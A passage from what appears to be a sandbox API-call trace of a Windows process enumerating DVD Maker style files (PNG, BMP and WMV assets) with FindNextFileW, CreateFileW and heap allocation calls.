nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0245.379] GetLastError () returned 0x12 [0245.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.379] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.380] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.380] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0245.380] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0245.380] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0245.380] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0245.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.380] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.380] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93a4a8 [0245.380] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93a4a8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93a4a8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93a4a8) returned 1 [0245.381] NtClose (Handle=0x170) returned 0x0 [0245.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.381] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.384] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.384] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927b40 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9382a8 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927b60 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9383b0 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927b80 [0245.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9384b8 [0245.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.385] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927ba0 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9385c0 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927bc0 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9386c8 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927be0 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9387d0 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927c00 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9388d8 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927c20 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9389e0 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.387] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0245.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927c40 [0245.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0245.388] GetLastError () returned 0x12 [0245.388] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.388] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.388] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, 